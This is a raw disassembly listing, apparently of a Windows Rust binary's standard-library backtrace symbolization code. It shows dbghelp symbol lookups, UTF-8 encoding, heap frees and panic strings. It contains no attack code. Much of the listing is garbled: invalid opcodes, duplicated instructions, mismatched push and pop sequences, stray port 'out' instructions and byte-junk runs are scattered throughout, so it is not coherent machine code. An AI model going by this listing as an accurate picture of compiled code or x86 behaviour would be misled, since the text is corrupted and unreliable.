call sub.kernel32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rdi
call rsi
mov byte [0x140182250], 1
test r14, r14
je 0x1400e01ee
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x15e8], rbx
mov rdi, qword [rbp + 0x1658]
mov ebx, dword [rbp + 0x164c]
mov r14d, dword [rbp + 0x1648]
call sub.kernel32.dll_GetCurrentProcess
mov qword [rbp + 0x1730], rax
lea rax, [rdi - 1]
test rdi, rdi
cmove rax, rdi
mov qword [rbp + 0x1738], rax
mov edi, 1
test r14d, r14d
jne 0x1400e0302
mov rax, qword [0x1401822c8]
test rax, rax
jne 0x1400e0264
mov rcx, qword [0x140182280]
lea rdx, str.SymAddrIncludeInlineTrace
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0c39
mov qword [0x1401822c8], rax
mov rcx, qword [rbp + 0x1730]
mov rdx, qword [rbp + 0x1738]
mov edx, dword [rbp + 0x1738]
call rax
mov dword [rbp + 0x1490], 0
mov esi, 1
test eax, eax
je 0x1400e02fe
mov r14d, eax
mov rax, qword [0x1401822d0]
test rax, rax
jne 0x1400e02b9
mov rcx, qword [0x140182280]
lea rdx, str.SymQueryInlineTrace
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0c55
mov qword [0x1401822d0], rax
mov dword [rbp - 0x40], 0
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r12
mov rdx, qword [rbp + 0x1738]
mov qword [rsp + 0x20], rdx
xor ebx, ebx
mov rcx, qword [rbp + 0x1730]
xor r8d, r8d
mov r9, rdx
call rax
cmp eax, 1
jne 0x1400e0300
mov ebx, dword [rbp + 0x1490]
inc r14d
mov esi, r14d
jmp 0x1400e0300
xor ebx, ebx
mov edi, esi
add edi, ebx
cmp ebx, edi
mov rsi, qword [rbp + 0x1748]
mov dword [rbp + 0x16c4], edi
jb 0x1400e0428
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReleaseMutex]
mov rbx, qword [rbp + 0x15e8]
cmp byte [rbp + 0x1752], 0
jne 0x1400e0880
cmp byte [rbp + 0x1753], 0
je 0x1400e0880
lea rax, [rbp + 0x15b0]
mov qword [rbp + 0x1680], rax
mov qword [rbp + 0x1688], 0
mov rdx, qword [rbp + 0x1658]
mov qword [rbp - 0x40], 3
mov qword [rbp + 0x1490], 2
mov dword [rsp + 0x20], 0
lea rcx, [rbp + 0x1680]
lea r8, [rbp - 0x40]
mov r9, r12
call fcn.1400d9a70
mov byte [rbp + 0x1756], al
mov rcx, qword [rbp + 0x1680]
inc qword [rcx + 0x18]
mov r9, qword [rbp + 0x1670]
test al, al
je 0x1400e0892
jmp 0x1400e0903
mov rax, qword [rbp - 8]
mov qword [rbp + 0x16d8], rdi
mov qword [rbp + 0x16e0], rdx
mov qword [rbp + 0x16e8], r8
mov dword [rbp + 0x16f0], r9d
mov dword [rbp + 0x16f4], ecx
mov qword [rbp + 0x16f8], r12
mov qword [rbp + 0x1700], r14
mov qword [rbp + 0x1708], rax
mov rsi, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rsi
lea rcx, [rbp + 0x1680]
mov rdx, r13
call fcn.1400e1040
mov edi, dword [rbp + 0x16c4]
inc ebx
cmp ebx, edi
je 0x1400e0319
mov r8d, 0xff4
mov rcx, r15
xor edx, edx
call fcn.140106cb0
mov dword [rbp + 0x10], 0x7d0
mov dword [rbp - 0x40], 0x58
mov rax, qword [0x1401822b8]
test rax, rax
jne 0x1400e0475
mov rcx, qword [0x140182280]
lea rdx, str.SymFromInlineContextW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1400e0b1d
mov qword [0x1401822b8], rax
mov qword [rbp + 0x1490], 0
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp + 0x1730]
mov rdx, qword [rbp + 0x1738]
mov r8d, ebx
mov r9, r12
call rax
cmp eax, 1
jne 0x1400e041e
mov eax, dword [rbp + 0xc]
mov ecx, dword [rbp + 0x10]
dec rcx
cmp rax, rcx
cmovb rcx, rax
movaps xmmword [rbp + 0x1580], xmm6
movaps xmmword [rbp + 0x1570], xmm6
movaps xmmword [rbp + 0x1560], xmm6
movaps xmmword [rbp + 0x1550], xmm6
movaps xmmword [rbp + 0x1540], xmm6
movaps xmmword [rbp + 0x1530], xmm6
movaps xmmword [rbp + 0x1520], xmm6
movaps xmmword [rbp + 0x1510], xmm6
movaps xmmword [rbp + 0x1500], xmm6
movaps xmmword [rbp + 0x14f0], xmm6
movaps xmmword [rbp + 0x14e0], xmm6
movaps xmmword [rbp + 0x14d0], xmm6
movaps xmmword [rbp + 0x14c0], xmm6
movaps xmmword [rbp + 0x14b0], xmm6
movaps xmmword [rbp + 0x14a0], xmm6
movaps xmmword [rbp + 0x1490], xmm6
lea r10, [rbp + 0x14]
lea rax, [r10 + rcx*2]
mov r15d, 0x100
xor r11d, r11d
mov r13, r12
mov r8, r12
xor r14d, r14d
test r11w, r11w
je 0x1400e05b0
nop dword [rax + rax]
mov edx, r9d
mov ecx, edx
and ecx, 0xf800
cmp ecx, 0xd800
jne 0x1400e05d1
movzx r11d, dx
mov edi, 3
mov ecx, 0xfffd
cmp r11d, 0xdbff
ja 0x1400e0650
cmp r10, rax
je 0x1400e05ea
movzx r12d, word [r10]
add r10, 2
mov r11d, r12d
add r11d, 0x2000
movzx esi, r11w
mov r11w, 1
cmp esi, 0xfc00
jae 0x1400e05f2
mov r9d, r12d
jmp 0x1400e0653
cmp r10, rax
je 0x1400e0790
movzx edx, word [r10]
add r10, 2
mov ecx, edx
and ecx, 0xf800
cmp ecx, 0xd800
je 0x1400e0563
shl edx, 0x10
mov rcx, rdx
shr rcx, 0x10
cmp ecx, 0x80
jae 0x1400e0630
mov edi, 1
jmp 0x1400e0650
xor r11d, r11d
mov r10, rax
jmp 0x1400e0653
movzx ecx, r12w
and edx, 0x3ff
and ecx, 0x3ff
shl rdx, 0x1a
shl ecx, 0x10
or rcx, rdx
movabs rdx, 0x100000000
add rcx, rdx
shr rcx, 0x10
cmp ecx, 0x80
jb 0x1400e05e3
nop word cs:[rax + rax]
cmp ecx, 0x800
jae 0x1400e0640
mov edi, 2
jmp 0x1400e0650
cmp ecx, 0x10000
mov edi, 4
sbb rdi, 0
nop
xor r11d, r11d
mov rdx, r15
sub rdx, rdi
jbe 0x1400e0790
mov dword [rbp + 0x16c0], ecx
cmp ecx, 0x80
jae 0x1400e0680
mov byte [r8], cl
mov ecx, 1
jmp 0x1400e0760
cmp ecx, 0x800
jae 0x1400e06b0
mov esi, ecx
shr esi, 6
or sil, 0xc0
mov byte [r8], sil
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 1], cl
mov ecx, 2
jmp 0x1400e0760
cmp ecx, 0x10000
jae 0x1400e06fb
mov qword [rbp + 0x1668], 3
cmp r15, 2
jbe 0x1400e0a22
mov esi, ecx
shr esi, 0xc
or sil, 0xe0
mov byte [r8], sil
mov esi, ecx
shr esi, 6
and sil, 0x3f
or sil, 0x80
mov byte [r8 + 1], sil
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 2], cl
mov ecx, 3
jmp 0x1400e0760
mov qword [rbp + 0x1668], 4
cmp r15, 3
jbe 0x1400e0a22
mov esi, ecx
shr esi, 0x12
and sil, 7
or sil, 0xf0
mov byte [r8], sil
mov esi, ecx
shr esi, 0xc
and sil, 0x3f
or sil, 0x80
mov byte [r8 + 1], sil
mov esi, ecx
shr esi, 6
and sil, 0x3f
or sil, 0x80
mov byte [r8 + 2], sil
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 3], cl
mov ecx, 4
nop word cs:[rax + rax]
cmp rcx, r15
ja 0x1400e0a00
add r8, rdi
add r14, rdi
mov r15, rdx
test r11w, r11w
jne 0x1400e0550
jmp 0x1400e05b0
cmp r14, 0x101
jae 0x1400e0af6
movaps xmmword [rbp + 0x15f0], xmm6
movaps xmmword [rbp + 0x1600], xmm6
mov qword [rbp + 0x1610], 0
mov dword [rbp + 0x15f0], 0x28
mov rax, qword [0x1401822c0]
test rax, rax
lea r15, [rbp - 0x3c]
mov r12, r13
lea r13, [rbp + 0x16d8]
jne 0x1400e07fd
mov rcx, qword [0x140182280]
lea rdx, str.SymGetLineFromInlineContextW
call sub.kernel32.dll_GetProcAddress
test rax, rax
je case.0x1400792d3.1222
mov qword [0x1401822c0], rax
mov dword [rbp + 0x16d8], 0
lea rcx, [rbp + 0x15f0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r13
xor edi, edi
mov rcx, qword [rbp + 0x1730]
mov rdx, qword [rbp + 0x1738]
mov r8d, ebx
xor r9d, r9d
call rax
mov r9d, 0
cmp eax, 1
jne 0x1400e03c0
mov ecx, dword [rbp + 0x1600]
mov r8, 0xffffffffffffffff
mov rdx, qword [rbp + 0x1608]
nop word cs:[rax + rax]
cmp word [rdx + r8*2 + 2], 0
lea r8, [r8 + 1]
jne 0x1400e0860
mov r9d, 1
mov edi, 1
jmp 0x1400e03c0
movzx eax, byte [rbp + 0x1756]
mov r9, qword [rbp + 0x1670]
test al, al
jne 0x1400e0903
mov rdi, qword [rbp + 0x1058]
mov qword [rbp + 0x1490], 0
mov qword [rbp - 0x40], 0
mov rdx, qword [rbp + 0x1718]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
xor ecx, ecx
mov r8, rbx
call qword [sym.imp.kernel32.dll_RtlVirtualUnwind]
mov rsi, qword [rbp + 0x10b8]
test rsi, rsi
je 0x1400e0903
cmp rsi, rbx
jne 0x1400dfc60
cmp qword [rbp + 0x1058], rdi
jne 0x1400dfc60
cmp byte [rbp + 0x1756], 0
je 0x1400e0987
mov rax, qword [rbp + 0x1620]
shl rax, 1
test rax, rax
je 0x1400e0931
mov r8, qword [rbp + 0x1628]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 1
movaps xmm6, xmmword [rbp + 0x1760]
add rsp, 0x17f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [rbp + 0x1755], 0
jne 0x1400e09b7
mov rax, qword [rbp + 0x16d0]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.note:_Some_details_are_omitted__run_with__RUST_BACKTRACEfull__for_a_verbose_backtrace._n__rust_begin_short_backtrace__rust_end_short_backtrace_______..._omitted__frame_...__n
mov r8d, 0x58
call qword [rax + 0x18]
test al, al
jne 0x1400e090c
mov rax, qword [rbp + 0x1620]
shl rax, 1
test rax, rax
je 0x1400e09dc
mov r8, qword [rbp + 0x1628]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
jmp 0x1400e0933
lea r8, [0x14014aee0]
mov edx, 0x21
mov rcx, 0xffffffffffffffff
call fcn.1401085b0
jmp 0x1400e0c6f
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rax
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_srccharmethods.rs
mov rdx, r15
call fcn.140108620
jmp 0x1400e0c6f
mov qword [rbp + 0x15d8], r15
lea rax, [rbp + 0x1668]
mov qword [rbp + 0x16d8], rax
lea rax, [fcn.140012cc0]
mov qword [rbp + 0x16e0], rax
lea rcx, [rbp + 0x16c0]
mov qword [rbp + 0x16e8], rcx
lea rcx, [0x140019700]
mov qword [rbp + 0x16f0], rcx
lea rcx, [rbp + 0x15d8]
mov qword [rbp + 0x16f8], rcx
mov qword [rbp + 0x1700], rax
lea rax, str.encode_utf8:_need__bytes_to_encode_U__but_the_buffer_has
mov qword [rbp + 0x15f0], rax
mov qword [rbp + 0x15f8], 3
mov qword [rbp + 0x1610], 0
lea rax, [rbp + 0x16d8]
mov qword [rbp + 0x1600], rax
mov qword [rbp + 0x1608], 3
mov rax, qword [rbp + 0x1748]
test dword [rax + 0x17], ecx
add byte [rax], al
mov qword [rbp + 0x1728], rax
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_srccharmethods.rs
lea rcx, [rbp + 0x15f0]
add al, ch
invalid
jp 0x1400e0ad5
add cl, ch
xchg esi, eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
add al, ch
invalid
jnp 0x1400e0af2
add cl, ch
jns 0x1400e0af5
add byte [rax], al
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rax
lea r8, str.library_std_src...._backtrace_src_symbolizedbghelp.rs_
mov edx, 0x100
mov rcx, r14
call fcn.140108620
jmp 0x1400e0c6f
mov qword [rbp + 0x1728], rsi
lea rcx, [0x14014bd88]
call fcn.140108970
jmp 0x1400e0c6f
invalid
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rax
lea rcx, [0x14014bd88]
call fcn.140108970
jmp 0x1400e0c6f
mov qword [rbp + 0x1720], r14
mov byte [rbp + 0x1757], 1
lea rcx, str.assertion_failed:_len___0
lea r8, [0x14014ae70]
mov edx, 0x1a
call fcn.140108630
jmp 0x1400e0c6f
mov qword [rbp + 0x1730], r14
mov qword [rbp + 0x1738], rdi
lea rcx, [0x14014aea0]
call fcn.140108970
jmp 0x1400e0c6f
mov qword [rbp + 0x16c8], r14
mov byte [rbp + 0x1754], 1
lea rcx, [0x14014ae88]
call fcn.140108970
jmp 0x1400e0c6f
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1720], rax
mov byte [rbp + 0x1757], 1
lea rcx, [0x14014ae38]
call fcn.140108970
jmp 0x1400e0c6f
mov qword [rbp + 0x1710], rdi
lea rcx, [0x14014ae20]
call fcn.140108970
jmp 0x1400e0c6f
mov qword [rbp + 0x1710], rdi
lea rcx, [0x14014ae08]
call fcn.140108970
jmp 0x1400e0c6f
mov qword [rbp + 0x1710], rdi
lea rcx, [0x14014adf0]
call fcn.140108970
jmp 0x1400e0c6f
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rax
lea rcx, [0x14014bd88]
call fcn.140108970
jmp 0x1400e0c6f
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x1728], rax
lea rcx, [0x14014bd88]
call fcn.140108970
ud2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x40], esi
mov rax, qword [rbp + 0x1620]
shl rax, 1
test rax, rax
je 0x1400e0d26
mov r8, qword [rbp + 0x1628]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dword [rax], ebp
invalid
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
add eax, dword [rax]
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x16c8], rax
mov byte [rbp + 0x1754], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x1730], 0
je 0x1400e0df1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x1738]
cmp byte [rdi], dl
add byte [rax], al
cmp byte [rdi], dl
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x1748]
mov qword [rbp + 0x16c8], rax
mov byte [rbp + 0x1754], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rsi, qword [rbp + 0x16c8]
cmp byte [rbp + 0x1754], 0
je 0x1400e0e95
cmp qword [rbp + 0x1490], 0
je 0x1400e0e71
mov r8, qword [rbp + 0x1498]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x40], esi
mov rsi, qword [rbp + 0x1720]
mov esi, dword [rbp + 0x1720]
mov esi, dword [rbp + 0x1720]
cmp byte [rbp + 0x1757], 0
je 0x1400e0f2e
cmp qword [rbp + 0x16d8], 0
je 0x1400e0f11
mov r8, qword [rbp + 0x16e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov qword [rbp + 0x1710], rsi
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1710], rsi
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x1710]
lea edx, [rax]
invalid
add byte [rax], al
call qword [sym.imp.kernel32.dll_ReleaseMutex]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea edx, [rax]
invalid
sub dword [rsp + 0x40], esi
mov rcx, qword [rbp + 0x1728]
call qword [sym.imp.kernel32.dll_ReleaseMutex]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r9, [r14 + rcx]
cmp rdx, r9
cmp edx, ecx
cmp edx, ecx
jae 0x1400e1488
lea r15, [r14 + rcx]
dec r15
cmp r15, r14
jae 0x1400e19f0
movzx r9d, byte [r8 + r14]
movzx ecx, byte [rax + rsi]
dec rbx
dec rcx
dec r8
cmp r9b, al
je 0x1400e13e0
lea rcx, [r14 + 0xf]
mov qword [rbp + 0x20], rcx
cmp rcx, rdi
jbe 0x1400e14fc
mov r10b, 1
jmp 0x1400e1a25
invalid
invalid
add byte [rax], al
mov esp, 0xf000005
test dword [rbx + 0x4c000005], esi
mov ecx, esp
mov rdx, r13
mov r8, r14
call fcn.140106bb0
test eax, eax
sete r10b
jmp 0x1400e1a25
mov qword [rsp + 0x20], r14
lea rcx, [rbp - 0x48]
mov rdx, r13
mov r8, rdi
mov r9, r12
call fcn.140018260
cmp qword [rbp - 0x48], 0
je 0x1400e1797
mov rsi, qword [rbp - 0x10]
mov r8, qword [rbp]
mov rax, qword [rbp + 0x18]
lea r11, [rax - 1]
mov rdx, qword [rbp + 8]
mov rdi, qword [rbp + 0x10]
cmp rsi, 0xffffffffffffffff
je 0x1400e1896
mov rcx, qword [rbp - 0x20]
lea r9, [rcx + r11]
cmp r9, rdx
jae 0x1400e1a22
mov rcx, qword [rbp + 0x28]
or al, sil
and al, 1
mov r10d, eax
jmp 0x1400e15b0
cmp ecx, edx
jae 0x1400e1a22
movzx r9d, byte [r8 + r9]
bt rbx, r9
retf
jae 0x1400e16de
retf
cmp byte [rbp - 0x2e], 0
jne 0x1400e1a22
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
movzx eax, byte [rbp - 0x30]
test r8, r8
je 0x1400e1959
mov rcx, qword [rbp - 0x20]
lea r9, [rcx + r11]
loopne 0x1400e18e9
lea ecx, [rcx + rbx]
cmp r9, rdx
jae 0x1400e1a22
mov r14, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x40]
mov r15, qword [rbp - 0x30]
lea r12, [rbx - 1]
jmp 0x1400e18cc
add rcx, rax
lea r9, [rcx + r11]
xor r10d, r10d
cmp r9, rdx
jae 0x1400e1a25
movzx r9d, byte [r8 + r9]
bt r14, r9
jae 0x1400e18b9
lea r9, [r8 + rcx]
mov rsi, rbx
nop
cmp rsi, rax
jae 0x1400e190e
mov r10, rsi
add rsi, rcx
add esi, ecx
cmp rsi, rdx
jae 0x1400e1b12
lea rsi, [r10 + 1]
movzx r13d, byte [rdi + r10]
cmp r13b, byte [r9 + r10]
invalid
je 0x1400e18e0
sub rcx, rbx
add rcx, r10
ror dword [rax - 1], 1
shr ebx, 0xae
mov r10, rbx
nop word cs:[rax + rax]
sub r10, 1
jb 0x1400e1461
cmp r12, rax
jae 0x1400e1af1
lea r9, [r10 + rcx]
cmp r9, rdx
jae 0x1400e1b03
movzx esi, byte [rdi + r10]
cmp sil, byte [r8 + r9]
invalid
je 0x1400e1920
or byte [rbp + rdx*8 + 0x4c], dh
add ecx, edi
add rcx, r15
jmp 0x1400e18bc
invalid
invalid
call fcn.140110c00
mov r10d, eax
or r10b, bl
and r10b, 1
jmp 0x1400e1a25
movzx esi, byte [rcx + rax + 1]
add dword [rcx], eax
and esi, 0x3f
cmp r10b, 0xe0
jb case.0x1400d7e58.247
movzx r10d, byte [rcx + r8 + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
or edx, esi
or edx, esi
cmp r11b, 0xf0
cmp r11b, 0xf0
cmp bl, 0xf0
jb 0x1400e1a0b
movzx r11d, byte [rcx + r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r11d, 0x3f
jrcxz 0x1400e1a27
jrcxz 0x1400e1a27
invalid
or r11d, r10d
or ebx, edx
or r9d, r11d
jmp 0x1400e1a12
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r15
mov ecx, edi
mov ecx, edi
mov rdx, r14
call fcn.1401085b0
add al, byte [rax]
add al, byte [rax]
shl r9d, 6
shl ecx, 6
or r9d, esi
int1
jmp 0x1400e1a12
shl r9d, 0xc
or r9d, r10d
mov r10b, 1
test al, al
jne 0x1400e1a25
cmp r9d, 0x110000
jne 0x1400e1a6b
add byte [rbp + 0x49], dh
xor r10d, r10d
mov eax, r10d
movaps xmm6, xmmword [rbp + 0x30]
ror byte [rdi], 1
sub byte [rbp + 0x30], dh
movaps xmm7, xmmword [rbp + 0x40]
movaps xmm8, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm9, xmmword [rbp + 0x60]
movaps xmm10, xmmword [rbp + 0x70]
movaps xmm11, xmmword [rbp + 0x80]
sub byte [rbp + 0x80], bl
movaps xmm12, xmmword [rbp + 0x90]
add byte [rax], al
add byte [rax], al
movaps xmm13, xmmword [rbp + 0xa0]
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 1
cmp r9d, 0x80
jb 0x1400e1a97
mov eax, 2
cmp r9d, 0x800
jb 0x1400e1a97
cmp r9d, 0x10000
mov eax, 4
sbb rax, 0
add r8, rax
je 0x1400e1ad4
cmp r8, rdx
jae 0x1400e1ad2
sal byte [rbx + 0x31], 1
cmp byte [rcx + r8], 0xbf
jg 0x1400e1ad4
add byte [rcx + rax - 7], cl
cmp rdx, rcx
cmova rcx, rdx
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
call fcn.1401085b0
jne 0x1400e1aa8
cmp r8, rdx
je 0x1400e1a25
movzx eax, byte [rcx + r8]
test al, al
jns 0x1400e1a25
invalid
invalid
cmp al, 0xe0
jmp 0x1400e1a25
invalid
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
mov rcx, r10
mov rdx, rax
call fcn.1401085b0
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
add eax, 0x6771e
mov rcx, r9
call fcn.1401085b0
add al, byte [rax]
add al, byte [rax]
add rcx, rbx
cmp rdx, rcx
cmova rcx, rdx
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_strpattern.rs
ja 0x1400e1b28
add al, ch
mov byte [rdx + 2], ch
invalid
ja 0x1400e1b28
add al, ch
mov byte [rdx + 2], ch
add ah, cl
int3
int3
mov dword [rbp - 8], 0xfffffffe
mov rax, rdx
mov qword [rbp - 0x30], rdx
lea rdx, [rbp - 0x28]
movups xmm0, xmmword [r8]
movups xmmword [rbp - 0x28], xmm0
adc dword [rbp - 0x28], eax
adc dword [rbp - 0x28], eax
fmul dword [rbp - 0x75]
mov r8, qword [r8 + 0x10]
mov qword [rbp - 0x18], r8
mov dword [rbp - 0x18], eax
adc byte [rcx + rcx*4 + 0x45], cl
call 0x181c42ad7
and byte [rax - 0x75], cl
mov rsi, qword [rcx]
xor r9d, r9d
mov dword [rbp - 0x18], eax
movzx r8d, byte [rcx + 0x20]
mov rsi, qword [rcx]
xor r9d, r9d
movabs r10, 0x8000000000000000
cmp rsi, r10
add byte [rax + 0x48d6394c], al
or byte [rcx + rdi - 0x2a], 0x48
cmp esi, edx
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
cmovne r9, rcx
mov rcx, rax
call fcn.1400d7240
shl rsi, 1
out 0x48, al
test esi, esi
out 0x48, al
test esi, esi
je 0x1400e1bda
sbb ecx, dword [rax - 0x75]
invalid
mov rcx, qword [rbp - 0x10]
mov r8, qword [rcx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov ebx, eax
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
invalid
add rsp, 0x50
add esp, 0x50
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 0x10]
call fcn.1400e1b30
nop
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5e], bl
pop rbx
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov dword [rbp], 0
add byte [r8], r8b
add byte [rax], al
add dh, al
add al, 0
add byte [r8], r8b
add byte [rax], al
add dh, al
add al, 0
mov qword [rbp - 0x18], rdx
lea rax, [rbp - 0x18]
mov qword [rbp - 0x28], rax
lea rax, [fcn.140012cc0]
dec dword [rax - 0x77]
loopne case.0x1400dc20b.87
lea eax, [0x14014a9a0]
dec dword [rax - 0x77]
loopne case.0x1400dc20b.87
lea eax, [0x14014a9a0]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x38], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
mov rax, rbp
mov eax, ebp
mov eax, ebp
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
invalid
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
lea rdx, [0x140149810]
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x58]
test al, 0xe8
call 0x1890e0fc5
sbb al, 0xf3
dec dword [rax - 0x75]
clc
call fcn.140013990
mov rcx, qword [rbp - 8]
sbb al, 0xf3
dec dword [rax - 0x75]
clc
test al, al
je 0x1400e1cc8
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
lea rcx, [rbp - 0x10]
jmp 0x1400e1cd1
test rcx, rcx
je 0x1400e1cd6
lea rcx, [rbp - 8]
call fcn.1400d3380
call qword [rax - 0x6f3b7eb8]
add byte [rax], al
add byte [rbp - 0x3d], bl
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x7d], cl
jge case.0x1400dc20b.88
invalid
je 0x1400e1d01
nop
add rsp, 0x90
pop rbp
ret
add byte [rax], 0
add byte [rax - 0x7d], cl
jge case.0x1400dc20b.88
add byte [rcx + rcx + 0x48], dh
lea ecx, [rbp - 8]
lea rcx, [rbp - 8]
call fcn.1400d3380
nop
add rsp, 0x20
pop rbp
ret
int3
lea rax, [0x140013930]
